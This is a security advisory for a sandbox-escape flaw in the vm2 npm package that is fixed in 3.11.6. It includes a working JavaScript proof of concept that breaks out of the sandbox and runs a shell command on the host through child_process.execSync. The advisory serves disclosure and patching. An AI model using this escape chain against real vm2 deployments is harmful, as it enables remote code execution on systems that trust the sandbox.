GHSA-cfcw-xp6x-25gj vm2: Sandbox Breakout Using Dangerous Host Proto Mutators

• npm vm2: < 3.11.6 → fixed in 3.11.6

Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous. PoC ```js const {VM} = require("."); const vm = new VM(); console.log(vm.run(` const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } } f(); `)); ``` Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.